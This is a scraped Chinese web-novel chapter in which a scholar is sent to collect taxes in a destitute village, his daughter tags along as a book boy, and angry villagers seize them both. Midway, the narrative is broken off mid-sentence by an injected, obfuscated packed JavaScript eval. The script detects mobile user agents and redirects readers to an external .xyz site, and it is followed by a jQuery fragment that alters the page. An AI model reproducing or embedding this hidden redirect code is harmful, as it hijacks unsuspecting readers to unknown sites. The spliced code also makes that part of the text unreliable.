默认冷灰
24号文字
方正启体

24.第 24 章 石沟村

作者:企鹅汤本书字数:K更新时间:
    石沟村!


    永安县出了名的穷地方,地势低洼,十年九灾,民风更是彪悍,历年催征,没几个能囫囵回来。不是被打得头破血流,就是被赖得焦头烂额。


    连在屋里竖着耳朵听的大娘都忍不住冲了出来:“这差事要命的。一个只会读书的秀才,去那种地方催粮,不行,绝对不行。”


    送走了押司,唐守仁立即去了主屋,求见族长。


    他红着眼圈,深深作揖,把摊派任务说了:“求二伯明鉴,小侄实在不堪此任,恐误了税赋,更恐……”


    族长听完原委,眉毛紧紧拧起。


    唐守仁是族中为数不多有望读书进学的苗子,虽然家贫,但品性端方,是他看好的后辈。


    唐家家族里头已经有整整二十七年没再出过进士,唯一做官的老四年近花甲,眼瞅着就要在知县的位子上退了。


    如今看着还有些田产铺面,实则早已败相横生,维持本家的体面都有些艰难,远支子弟穷困潦倒更不少见,连县衙差役过门都要赔笑递茶钱。


    若再不出个进士撑持起门庭,他日怕是被人生吞了都无人喊冤。


    明面上是循例抽丁,暗里怕是县衙那起子豺狼嗅着唐家式微,故意作践苗子给旁人瞧,其心可诛。


    族长一口答应:“我唐家读书人岂能去做这等胥吏催科之事,明日老夫亲自去见知县。”


    第二日一早,族长穿戴整齐,直奔县衙。


    知县见唐家族长亲自来访,倒也客气。分宾主落座,寒暄几句,族长便开门见山,陈情唐守仁体弱书生,不堪催征重役,尤其是去石沟村那等凶险之地,恐有性命之忧,恳请知县收回成命,或准许他家出钱另雇壮丁替代。


    知县听着族长陈情,慢悠悠地呷了口茶,才道:“老太爷爱惜族中子弟,拳拳之心,我明白。只是这秋税催征,关乎朝廷赋税,国之大计。役差轮派,皆有定例,户册丁口核实无误,方有此安排。


    唐秀才家既添了新丁,人数达标,摊上此役,亦是常理。若因他是读书人便随意更替,恐难以服众啊。”


    族长心中一沉,听出知县话里有推脱之意,加重语气道:“唐守仁一介书生,手无缚鸡之力,去石沟村催粮,无异于驱羊入狼群。非但于税赋无益,若真出了差池,岂不有损知县爱民如子的清誉?


    老朽恳请念在守仁一心向学,网开一面。唐家愿出双倍,不,三倍的代役银。”


    知县脸上的笑容淡了些,放下茶盏,叹了口气:“老太爷,非是我不近人情。跟您透个底,有唐秀才家亲近之人向我禀报,说他家中近来有薄财,却对朝廷赋税徭役颇有微词,若此番再允他代役,恐更助长此等风气,于法度不合啊。”


    族长心头猛地一跳,这话指向性太明显了,血缘亲近之人不会做此事,地缘亲近之人,除了钱贵还能有谁?定是这厮在知县面前进了谗言。


    “此乃小人之言,恶意中伤。”族长强压怒火,据理力争,“守仁家贫,人所共知,纵有些许进项,亦是其女在绣艺坊凭手艺辛苦所得,安分守己,何来微词?还望知县明察。”


    知县摆了摆手,显然不想再听:“法度如此,我亦难徇私。不过念在唐秀才确系文弱,又是初犯。我允你族中派一青壮族人随行,名为协理,实为护卫。至于人选嘛,唐守礼就不错,年轻力壮,嘴皮子也利索。”


    唐守礼?族长闻言,眉头皱得更紧了。他最是胆小怕事,让他去保护唐守仁,只怕遇到事,他跑得比兔子还快。


    “官人……”


    “就这么定了。”知县不容分说地站起身,端茶送客,“秋税催征,刻不容缓。后日一早,唐守仁和唐守礼二人,务必到县衙报到领差。”


    说完,竟转身进了后堂,不再给族长说话的机会。


    族长站在空荡荡的县衙大堂,气得浑身发抖。


    钱贵这厮,定是提前在知县面前把路都堵死了,连派个没用的唐守礼,都像他故意安排的羞辱。


    消息传回唐家,如同晴天霹雳。


    “要那个没骨头的软脚虾跟着去?”大娘气得直拍桌子,“那是护卫吗?那是拖后腿的累赘。钱贵这挨千刀的,存心把我们往死里整。”


    溪娘抱着小玥儿,眼泪扑簌簌往下掉。唐守仁脸色惨白,坐在那里,如同失了魂的木偶。


    唐照环小脸紧绷,拳头攥得死死的。


    “爹,不能去。”唐照环冲到唐守仁面前,“那地方去不得,钱贵肯定还有后手。”


    唐守仁闭了闭眼,再睁开时,眼中竟有了几分血性:“环儿,纵是刀山火海,爹也得去闯一闯。否则,便是违抗官命,罪加一等,整个唐家也会被我连累。


    三弟他嘴甜,或许能周旋一二。”


    这话说得他自己都没底气。


    两日后,天刚蒙蒙亮,唐守仁赶到了县衙门口,跟唐守礼汇合。


    唐守礼脸上堆上讨好的笑,对着仓吏点头哈腰:“爷,辛苦辛苦。今儿个天冷,您多担待,这是我兄弟唐守仁,秀才呢。”


    仓吏眼皮都没抬,拿出两个瘪瘪的褡裢放桌上:“催征的文书,户册,还有量具都在里面。”


    他指了指旁边两个瘦骨嶙峋的老差役:“老张头,老李头,你俩路上听唐秀才吩咐。”


    唐守仁一颗心彻底沉到了谷底。钱贵果然安排好了,随行的竟是这等毫无用处的老弱,连像样的帮手都不给。


    “这量具中的斗和斛,在下看着似乎不太规整。”他虽不谙俗务,但也见过标准的,这俩明显要大一圈。


    仓吏不耐烦地挥挥手,关上大门:“能用就行。催征要紧,谁还跟你讲究这个。赶紧出发,误了时辰,你可吃罪不起。”


    唐守礼背上装量具的破褡裢:“将就点吧,人在屋檐下,哪能不低头。能用就行,咱们又不是去收租子,是去催命的,讲究啥。”


    话无心,却像根针一样扎在唐守仁心上。


    催命,是啊,这哪里是催粮,分明是钱贵安排的催命陷阱。


    唐守仁环顾四周,竟没看到一件锁拿抗税者的械具。枷锁、铁链、水火棍,一样都没有,差役手里只拄着两根破木棍。


    “械具呢?”他忍不住问。


    老张头抬起浑浊的眼,茫然地摇摇头。


    老李头咳嗽两声,哑着嗓子:“没让带,就说让咱们跟着去认认门。”


    不标准的量具,老弱无用的帮手,没有锁拿的械具,钱贵让一个手无寸铁的秀才去石沟村那等刁顽之地催粮。一旦起了冲突,他就能借刁民的手,让他唐守仁不死也脱层皮。


    唐守礼无奈地扶住他:“走吧,早去早回。这鬼天气,冻死个人。”


    四人顶着寒风,深一脚浅一脚往城南行去。


    刚出城门没走几步,路边一个背着书箱,头戴毡帽的小郎君猛地窜了出来,脆生生喊了句:“爹!”


    唐守仁唬了一跳,定睛一看,不是唐照环是谁?


    他又惊又怒,几步抢过去,压低声音急道:“你怎地跑出来了?胡闹!快回家去,这不是你该来的地方。”


    此行凶险万分,她跟来岂不是羊入虎口。


    唐照环倔强地挺着小胸脯,紧紧抱着书箱,语速飞快:“我不回去,我给您当书童,我会记账。您看,笔墨纸砚水囊干粮我都带齐了。爹,求您了。”


    “胡闹,简直是胡闹。”唐守仁急得跺脚,“那石沟村是善地吗?你去添什么乱,快回去,莫让你娘担心。”


    唐照环梗着脖子:“娘默许了的。她说让我看着爹些,别让爹太老实吃了亏。”


    这话半真半假,溪娘只念叨了半天怎么办,顾不上阻止女儿的大胆举动。


    唐守仁看着女儿眼中的坚持和担忧,心头一酸,拒绝的话堵在喉咙里,怎么也说不出口了。他何尝不知女儿早慧?可,可这……


    唐守礼打起了圆场:“哎呦,二哥,我看环儿一片孝心。穿成这样,也像个伶俐的小书童。左右咱去催粮,又不是上战场,带着就带着呗。小孩子家,腿脚灵便,真有点啥事,跑得比兔子还快。”


    两个老差役事不关己,只缩着脖子咳嗽,就当没看见眼前这出父女争执。


    唐守仁心如刀绞。


    此去凶险,可身边这些人,唐守礼滑不溜手,两个老差役形同虚设,一个也靠不住。女儿虽小,那份机灵劲儿和对自己的赤诚,却胜过旁人百倍。


    他长叹一声,紧紧攥住她冰凉的小手,声音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296341|179672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沙哑:“罢了,你既铁了心,爹就带上你。只是你须得答应爹,万事不可强出头,一切听爹吩咐。若有变故,护住自身要紧。”


    唐照环重重点头:“环儿都听爹的。”


    “三弟,这次出行,你什么都不用做,只管看好环儿,莫让她离你左右便是。但她出了事,我唯你是问!”


    唐守仁这话说得极重,目光如电,直刺唐守礼。唐守礼被这目光一慑,不住点头。


    于是,这支本就寒酸古怪的催征队伍,又多了个小书童。


    众人向南行了大半日,眼前出现个陷在山坳里的村落。几缕稀薄的炊烟有气无力地飘着,便是石沟村了。


    村中房屋低矮破败,多是茅草覆顶,土坯垒墙,不少墙皮剥落,露出里面干草,墙缝大得能塞进拳头。


    唐守仁一行人刚走近村口,几个面黄肌瘦的孩童便躲在断墙后张望。很快,三三两两的村民从低矮的门洞里钻出来,眼神里没有好奇,只有麻木、疲惫和敌意。


    唐守仁深吸一口冰冷的空气,强自镇定,朗声道:“诸位乡亲,在下唐守仁,奉知县之命,前来贵村催征本季秋税。请里正或村中主事人上前说话。”


    话音落下,村民们互相交换着眼神,无人应答,更无人上前。


    等了半晌,才见一个穿着补丁摞补丁的老者慢吞吞地从村里走出来。


    “差爷,今年实在是……”老者刚开口,就被唐守礼打断。


    “少废话,秋税催征,刻不容缓。户册说该交多少,一粒不能少!”唐守礼挺了挺胸脯,想拿出点官威,但那色厉内荏的样子,实在没什么威慑力。


    唐守仁皱了皱眉,觉得唐守礼太过生硬,上前一步,拿出文书,尽量温和地报了收税项目和各自的数字。


    “朝廷赋税,关乎国用,还请乡亲们体谅。”


    老者身后一个满脸络腮胡的凶悍汉子劈手夺过文书,冷笑:“去年遭了旱灾,官家不是说酌情减免,怎么还按丰年收。村子穷得连架织布机都没有,哪来的织机钱。还有保甲钱,王老五那家子都饿死绝户了,凭什么摊到俺们头上?”


    他每说一句,身后村民眼中的怒火便盛一分。


    “这……户册是县衙定的,我等只按册催收。”唐守仁试图解释。


    “呸,谁知道是真是假。你一个白面书生,带着个混子和奶娃子,还有俩棺材瓤子就来俺们石沟村,我看你是钱贵那狗官派来的假差,想坑死俺们。”


    络腮胡猛地将文书摔在地上。


    “大胆,你敢侮辱朝廷命官,污蔑公差!”唐守礼尖着嗓子叫起来,人却往唐守仁身后缩。


    唐守仁强自镇定:“本差身份文书俱在,岂能有假?税额若有疑问,可随本差回县衙申辩。”


    “申辩个屁!”旁边一个村民怒吼,“去县衙骨头渣子都给你敲碎熬油了,那里恨不得榨干俺们最后一滴血。”


    “跟他们拼了,反正也是死路一条!”


    人群彻底被点燃,愤怒的村民一步步围拢上来,挥舞着锄头木棒。


    差役老李头趁人不注意,拄着棍子,一步一挪,悄无声息地往村外溜了。


    “诸位乡亲,听我一言。”唐守仁还想做最后的努力,试图讲理,“赋税乃国之法度,拒缴是重罪。朝廷亦有恤民之策,若有冤屈,可随我回县衙申诉。切莫因一时激愤,犯下大错。”


    络腮胡狞笑:“兄弟们,跟狗官没什么道理好讲。他们不给俺们活路,俺们也不让他们好过。他不是说他是真的,那俺们把人抓起来扣下,让县太爷免了俺们村的赋税再放人。”


    几个胆大的青壮村民在络腮胡的带领下一拥而上。唐守仁一个文弱书生,哪里抵挡得住。他下意识地想把女儿护在身后,却被人猛地一推,一个趔趄摔倒在地。


    混乱中,几双粗糙有力的大手抓住了唐照环的胳膊,将她硬生生从他身边扯开。


    唐照环惊恐地尖叫挣扎,身影瞬间被淹没在愤怒的人群中。


    唐守仁目眦欲裂,挣扎着想爬起来,却被络腮胡一脚狠狠踹在腰眼上,随即被反剪双臂捆了个结实。


    混乱中,腿脚最不利索的差役老张头,也顺带被几个村民揪住,摁倒在地捆了起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)